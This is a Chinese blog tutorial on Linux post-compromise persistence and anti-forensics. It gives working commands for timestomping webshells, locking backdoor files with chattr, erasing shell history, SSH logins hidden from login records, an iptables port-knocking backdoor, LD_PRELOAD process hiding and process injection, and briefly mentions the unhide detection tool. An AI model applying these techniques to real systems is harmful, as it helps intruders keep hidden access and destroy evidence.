AI 摘要(由 ChatGPT 总结生成):
文章总结了在Linux系统下进行权限维持的隐藏技术,包括隐藏文件、隐藏文件时间戳、隐藏权限、隐藏历史操作命令、隐藏远程SSH登陆记录、端口复用以及进程隐藏等。通过创建隐藏文件、修改文件时间戳、使用chattr命令隐藏权限、关闭历史记录、远程SSH登陆记录、端口复用等手段,攻击者能够更有效地保持其在受攻击主机上的存在。文章还介绍了一些工具和方法,如libprocesshider和linux-inject,用于实现进程隐藏和注入。

前言

最近对某台受攻击的主机进行了攻击手段排查(已被入侵),有感而发,故在事后总结该文。

攻击者往往在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍 Linux 下的几种隐藏技术。

隐藏文件

Linux 下创建一个隐藏文件,如:

touch .test.txt

touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下:

kali@kali:~/tmpdir$ touch .test.txt      

kali@kali:~/tmpdir$ ls -l
总计 4
-rw-r--r-- 1 kali kali 4  6月 2日 21:29 username.txt

kali@kali:~/tmpdir$ ls -al      
总计 12
drwxr-xr-x  2 kali kali 4096  6月 2日 21:29 .
drwxr-xr-x 26 kali kali 4096  6月 2日 21:28 ..
-rw-r--r--  1 kali kali    0  6月 2日 21:29 .test.txt
-rw-r--r--  1 kali kali    4  6月 2日 21:29 username.txt

kali@kali:~/tmpdir$ 

此时,一般的 Linux 下的隐藏目录使用命令 ls -l 是查看不出来的,只能查看到文件及文件夹,查看 Linux 下的隐藏文件需要用到命令:ls -al

而对于任何用户都可写的 /tmp 下,会默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方,如/temp/.ICE-unix//temp/.Test-unix//temp/.X11-unix//temp/.XIM-unix/ 等。

隐藏文件时间戳

此方法也是我藏文件经常用到的小技巧,在 Unix 下藏后门将文件的时间给修改,否则很容易被发现,这里直接利用 touch 命令即可。比如参考同目录下某个文件的时间,再赋给后门文件 webshell ,此时两个文件的时间就一样了。

利用方法如下:

touch -r [某文件] [webshell]

或者直接将时间戳修改成某年某月某日,如下为 2023 年 06 月 02 日:

touch -t 2306022139.30 webshell

参考如图所示:

image-20230602214157893

隐藏权限

在 Linux 中,使用 chattr 命令来防止 root 和其他管理用户误删除和修改重要文件及目录,此权限用 ls -l 是查看不出来的,从而达到隐藏权限的目的。这个技巧也常被用在后门,变成了一些难以清除的后门文件,个人也在分析挖矿木马文件时遇到过挖矿木马使用了此用法,此方法也往往对新手来说感到头疼,下面就直接命令演示一下:

kali@kali:~/tmpdir$ rm -f test.txt     

kali@kali:~/tmpdir$ touch test.txt     

kali@kali:~/tmpdir$ sudo chattr +ai test.txt

kali@kali:~/tmpdir$ sudo rm -f test.txt     
rm: 无法删除 'test.txt': 不允许的操作

kali@kali:~/tmpdir$ ls -al
总计 12
drwxr-xr-x  2 kali kali 4096  6月 2日 21:46 .
drwxr-xr-x 26 kali kali 4096  6月 2日 21:28 ..
-rw-r--r--  1 kali kali    0  6月 2日 21:46 test.txt
-rw-r--r--  1 kali kali    4  6月 2日 21:29 username.txt

kali@kali:~/tmpdir$ lsattr test.txt username.txt 
----ia--------e------- test.txt
--------------e------- username.txt

kali@kali:~/tmpdir$ sudo chattr -ai test.txt   

kali@kali:~/tmpdir$ sudo rm -f test.txt         

kali@kali:~/tmpdir$ ls -al                      
总计 12
drwxr-xr-x  2 kali kali 4096  6月 2日 21:47 .
drwxr-xr-x 26 kali kali 4096  6月 2日 21:28 ..
-rw-r--r--  1 kali kali    4  6月 2日 21:29 username.txt

kali@kali:~/tmpdir$ 
chattr 命令可参考该文章:https://linux.isisy.com/c/chattr.html

隐藏历史操作命令

在 shell 中执行的命令,不希望被记录在命令行历史中,那么如何关闭命令历史记录呢?

只针对你的工作关闭历史记录

[space]set +o history
注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令,它将恢复原环境,也就是你完成了你的工作,执行下述命令之后,后续你的命令都会出现在历史中了:

[space]set -o history

从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

根据“keyword”关键字检索历史命令:

history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

history -d [num]

这种技巧是关键记录删除,或者我们可以暴力点,比如前 150 行是用户的正常操作记录,150 行以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前 150 行:

sed -i '150,$d' .bash_history
history 命令可参考该文章:https://linux.isisy.com/c/history.html

隐藏远程SSH登陆记录

隐身登录系统,不会被 wwholast 等指令检测到,因为该登录方式不分配伪终端!故而也会被称做——幽灵登录

ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i

不记录 ssh 公钥在本地 .ssh 目录中

ssh -o UserKnownHostsFile=/dev/null -T user@xxx.xxx.xxx.xxx /bin/bash –i

端口复用

通过端口复用来达到隐藏端口的目的,在 Linux 下,如何实现端口复用呢?

通过 SSLH 在同一端口上共享 SSH 与 HTTPS

先安装 SSLH :

# Debian系系统安装命令:
sudo apt-get install sslh
 
# 在 RHEL、CentOS 上,你需要添加 EPEL 存储库,然后安装 SSLH:
sudo yum install epel-release
sudo yum install sslh

然后编辑配置文件,若有 Run 参数则将 Run=no 修改为 Run=yes 以及修改相关监听设置,如下:

kali@kali:~/tmpdir$ sudo vim /etc/default/sslh               

kali@kali:~/tmpdir$ cat /etc/default/sslh
# Default options for sslh initscript
# sourced by /etc/init.d/sslh

# binary to use: forked (sslh) or single-thread (sslh-select) version
# systemd users: don't forget to modify /lib/systemd/system/sslh.service
DAEMON=/usr/sbin/sslh

DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

kali@kali:~/tmpdir$ 

上述命令参数说明:

  • –user sslh :要求在这个特定的用户身份下运行。
  • –listen 0.0.0.0:443 :SSLH 监听于所有可用接口的 443 端口。
  • –ssh 127.0.0.1:22 :将 SSH 流量路由到本地的 22 端口。
  • –ssl 127.0.0.1:443 :将 HTTPS/SSL 流量路由到本地的 443 端口。

然后启动程序,此时即可通过 443 端口连接 ssh 服务,如图所示:

image-20230602222321947

利用 IPTables 进行端口复用

使用前先开启系统的转发功能,临时开启命令如下: sysctl -w net.ipv4.ip_forward=1

相关命令如下,命令按序执行:

1、先创建一个端口复用链子 LETMEIN

iptables -t nat -N LETMEIN

2、创建一个端口复用规则,用于将主机接收的相关端口的流量转发至 22 端口:

iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22

3、设置一个开启开关,当接收到一个含有"secretDoorOpen"的 TCP 包,则将来源 IP 添加到 LETMEIN 的列表中:

iptables -A INPUT -p tcp -m string --string 'secretDoorOpen' --algo bm -m recent --set --name letmein --rsource -j ACCEPT

4、设置一个关闭开关,当接收到一个含有"trapDoorClosed"的 TCP 包,则将来源 IP 从 LETMEIN 的列表中移除:

iptables -A INPUT -p tcp -m string --string 'trapDoorClosed' --algo bm -m recent --name letmein --remove -j ACCEPT

5、当发现 SYN 包的来源 IP 处于 LETMEIN 的列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒:

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

利用方式如下:

# 开启复用,此处使用 nc 命令演示,也可使用 socat、telnet 等命令
echo 'secretDoorOpen' | nc 192.168.17.121 80
# ssh 使用 80 端口进行登录
ssh -p 80 root@192.168.17.121
# 关闭复用
echo 'trapDoorClosed' | nc 192.168.17.121 80

演示如图 cmd 窗口:

image-20230602225715851

当然,如果上述 TCP 操控不可行,但对应主机可 Ping 的话,那么也可以使用 ICMP 协议操控,将上述的第3、4步修改为如下,其余步骤不变:

# 开启开关,如果接收到一个长为 1028 的 ICMP 包,则将来源 IP 添加到加为 letmein 的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1028 -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关,如果接收到一个长为 1029 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1029 -m recent --name letmein --remove -j ACCEPT

操控如下:

# 开启复用,向目标发送一个长度为 1000 的 ICMP 数据包(加上包头28,总长度实际为1028)
ping -c 1 -s 1000 xxx.xxx.xxx.xxx

# 关闭复用,向目标发送一个长度为 1001 的 ICMP 数据包(加上包头 28,总长度实际为 1029)
ping -c 1 -s 1001 xxx.xxx.xxx.xxx

进程隐藏

隐藏应用进程,使得管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的(工具挺多的,下述仅供参考学习)。

使用 libprocesshider

Github 项目地址:https://github.com/gianlucaborello/libprocesshider

利用 LD_PRELOAD 来实现系统函数的劫持,实现如下:

# 克隆程序到本地
git clone https://github.com/gianlucaborello/libprocesshider

# 编译程序
cd libprocesshider/ && make

# 移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/

# 把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试运行该目录下的 evil_script.py 文件,就会发现 cpu 使用率高,使用 top ps 命令都无法找到 evil_script.py ,但是却找不到相关文件。

经过上述的操作,相关进程隐藏了,那么我们如何在 Linux 中发现隐藏的进程?

此时推荐一款工具:unhide ,它是一个小巧的网络取证工具,能够发现那些借助 rootkit ,LKM 及其它技术隐藏的进程和 TCP / UDP 端口。这个工具在 Linux,UNIX 类,MS-Windows 等操作系统下都可以工作。

工具下载地址:http://www.unhide-forensics.info/

RH 系系统安装如下

# 安装
sudo yum install unhide
# 使用
unhide [options] test_list

例如使用(此处系统中无隐藏进程):unhide proc

[root@localhost ~]# unhide proc
Unhide 20130526
Copyright © 2013 Yago Jesus & Patrick Gouin
License GPLv3+ : GNU GPL version 3 or later
http://www.unhide-forensics.info

NOTE : This version of unhide is for systems using Linux >= 2.6 

Used options: 
[*]Searching for Hidden processes through /proc stat scanning

[root@localhost ~]# 

进程注入工具 linux-inject

linux-inject 是用于将共享对象注入 Linux 进程的工具。

Github 项目地址: https://github.com/gaffe23/linux-inject
# 克隆程序到本地
git clone https://github.com/gaffe23/linux-inject

# 编译
cd linux-inject && make

# 测试进程
./sample-target

# 进程注入
./inject -n sample-target sample-library.so

验证进程注入成功,如下图所示:

image-20230602235530768

结语

本文主要介绍了 Linux 下的几种隐藏技术,包括隐藏文件、隐藏权限、隐藏历史操作命令、端口复用、进程隐藏等方面的技巧。也是近期的一个知识总结吧。

End

本文标题:Linux权限维持--隐藏篇

本文链接:https://www.isisy.com/1480.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源。

如果觉得我的文章对你有用,请随意赞赏